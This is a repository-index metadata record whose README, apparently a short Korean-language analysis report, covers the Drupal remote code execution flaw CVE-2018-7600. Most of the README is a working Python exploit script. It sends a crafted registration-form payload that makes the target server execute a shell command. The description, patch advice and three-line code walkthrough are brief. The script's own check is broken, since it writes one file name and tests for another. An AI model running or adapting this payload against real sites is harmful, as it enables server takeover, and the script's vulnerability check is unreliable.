{"id":26833345,"url":"https://github.com/mr-won/cve-2018-7600.","last_synced_at":"2025-03-30T15:28:44.814Z","repository":{"id":283218949,"uuid":"951061774","full_name":"mr-won/CVE-2018-7600.","owner":"mr-won","description":"CVE-2018-7600.","archived":false,"fork":false,"pushed_at":"2025-03-19T05:30:56.000Z","size":0,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-03-19T06:27:37.286Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/mr-won.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2025-03-19T05:28:51.000Z","updated_at":"2025-03-19T05:30:59.000Z","dependencies_parsed_at":"2025-03-19T06:28:07.613Z","dependency_job_id":"2aed2dac-ebf7-43bc-adae-a4142e4cea72","html_url":"https://github.com/mr-won/CVE-2018-7600.","commit_stats":null,"previous_names":["mr-won/cve-2018-7600."],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mr-won%2FCVE-2018-7600.","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mr-won%2FCVE-2018-7600./tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mr-won%2FCVE-2018-7600./releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mr-won%2FCVE-2018-7600./manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/mr-won","download_url":"https://codeload.github.com/mr-won/CVE-2018-7600./tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":246337777,"owners_count":20761267,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2025-03-30T15:28:44.222Z","updated_at":"2025-03-30T15:28:44.809Z","avatar_url":"https://github.com/mr-won.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"## IGLOO Corp, Won Chi Hyun Drupal RCE 분석 보고서\n\nDrupal RCE CVE-2018-7600\n\nDont Forget to Put Your Adress into the Script !\nDescription:\nA remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being completely compromised.\n\nSolution:\nUpgrade to the most recent version of Drupal 7 or 8 core.\n\nIf you are running 7.x, upgrade to Drupal 7.58. (If you are unable to update immediately, you can attempt to apply this patch to fix the vulnerability until such time as you are able to completely update.) If you are running 8.5.x, upgrade to Drupal 8.5.1. (If you are unable to update immediately, you can attempt to apply this patch to fix the vulnerability until such time as you are able to completely update.)\n\n```python\n#!/usr/bin/python2.7\n'''_____________________________________________________________________\n|[] R3DXPL0IT SHELL                                            |ROOT]|!\"|\n|\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"|\"| \n|CODED BY \u003e R3DXPLOIT(JIMMY)                                          | |\n|EMAIL \u003e RETURN_ROOT@PROTONMAIL.COM                                   | |\n|GITHUB \u003e https://github.com/r3dxpl0it                                | |\n|WEB-PAGE \u003e https://r3dxpl0it.Github.io                               |_|\n|_____________________________________________________________________|/|\n'''\n'''\nhttps://nvd.nist.gov/vuln/detail/CVE-2018-7600#\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7600\n'''\nimport sys\nimport requests\n\ndef exploit(target):\n    pass\n    proxies = {}\n    verify = False\n\n    payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo \"vulnerable to cve-7600-2018 exploit\" | tee r3dxploit.txt'}\n    url = target + '/user/register?element_parents=account/mail/%23value\u0026ajax_form=1\u0026_wrapper_format=drupal_ajax'\n    print ( '[*]' + ' requesting post')\n    r = requests.post(url, proxies=proxies, data=payload, verify=verify)\n    try:\n        scan = requests.get(target + 'vulnerable.txt')\n        if scan.status_code != 200:\n           print ( ' not vulnerable to cve-2018-7600 exploit \\n')\n        if scan.status_code == 200:\n           print (' vulnerable to cve-2018-7600 exploit')\n           print (' url: ' + target + 'vulnerable.txt \\n')\n    except requests.ConnectionError:\n        print (' target connection timeout')\n    except Exception as e :\n        print ('Connction Failed ' + e )\n\t\t\t\t\n\nif __name__ == '__main__':\n   exploit(sys.argv[1])\n```\n코드분석.\n\nmain -\u003e exploit\n\nargv[1] -target argument\nscan. status_code 코드 상태값에 따라서 결과값 도출\n이벤트 예외처리\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmr-won%2Fcve-2018-7600.","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmr-won%2Fcve-2018-7600.","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmr-won%2Fcve-2018-7600./lists"}